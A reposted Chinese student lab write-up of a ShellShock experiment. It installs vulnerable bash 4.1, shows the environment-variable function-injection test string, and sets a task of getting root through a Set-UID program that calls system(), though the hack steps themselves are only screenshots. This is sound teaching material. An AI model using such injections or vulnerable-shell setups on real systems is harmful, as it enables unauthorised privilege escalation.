码迷,mamicode.com
首页 > 系统相关 > 详细

ShellShock 攻击实验

时间:2015-05-22 14:52:31      阅读:184      评论:0      收藏:0      [点我收藏+]

标签:

20122218朱玉琦

1. 环境搭建

以root权限安装4.1版bash(4.2版本以上的漏洞已经被堵上了) bash4.1 下载地址:http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz(伪)

下载

# wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

安装

# tar xf bash-4.1.tar.gz
# cd bash-4.1
技术分享 # ./configure # make & make install

链接

# rm /bin/bash
# ln -s /usr/local/bin/bash /bin/bash

到这里就安装完了,接下来检测是否存在shellshock漏洞。

$ env x=‘() { :;}; echo vulnerable‘ bash -c "echo this is a test "

技术分享

输出vulnerable的话,说明bash有漏洞。

最后,让/bin/sh 指向/bin/bash.

$ sudo ln -sf /bin/bash /bin/sh

现在一切就绪,进入下一步吧。

2.预备知识

了解bash自定义函数,只需要函数名就能够调用该函数。

$ foo() { echo bar; } 
$ foo
> bar

这个时候的Bash的环境变量:

KEY = foo
VALUE = () { echo bar; }

来看看ShellShock漏洞的真身:

export foo=’() { :; }; echo Hello World’ 
bash
>Hello World

怎么样?看明白了没?为什么调用bash的时候输出Hello World了呢? 瞧瞧他内部的情况:

KEY = foo
VALUE = () { :; }; echo Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。

到了这,你有想到什么么,联系之前的Set-UID课程。 对!干坏事的孩子会被警察叔叔抓走的:)

不多说了,来get root权限吧!

三、 实验内容

1.攻击Set-UID程序

本实验中,我们通过攻击Set-UID程序来获得root权限。 首先,确保安装了带有漏洞的bash版本,并让/bin/sh 指向/bin/bash.

$ sudo ln -sf /bin/bash /bin/sh

请编译下面这段代码,并设置其为Set-UID程序,保证它的所有者是root。我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用,你能够利用shellshock漏洞来获取权限么?

#include <stdio.h>
void main()
{
    setuid(geteuid()); // make real uid = effective uid.
    system("/bin/ls -l");
}

我们注意到这里使用了setuid(geteuid()) 来使real uid = effective uid,这在Set-UID程序中不是普遍实践,但它确实有时会发生。 先自己试着hack一下:) …… …… …… …… …… …… 以下是hack过程。

如果 setuid(geteuid()) 语句被去掉了,再试试看攻击,我们还能够拿到权限么?

#include <stdio.h>
void main()
{
    system("/bin/ls -l");
}

技术分享技术分享

 

 

备注:在实验的过程之中 检测漏洞之前 的bash -version 进行显示的时候 接连出现 找不到bash的指令 重试10+次  所有的指令都会背了 偶然成功 但也不清楚之前发生了什么错误 之后再次进行尝试的时候 也成功了两次 具体情况依旧未知 怀疑与实验楼相关…………

ShellShock 攻击实验

标签:

原文地址:http://www.cnblogs.com/longingfor1/p/4522041.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!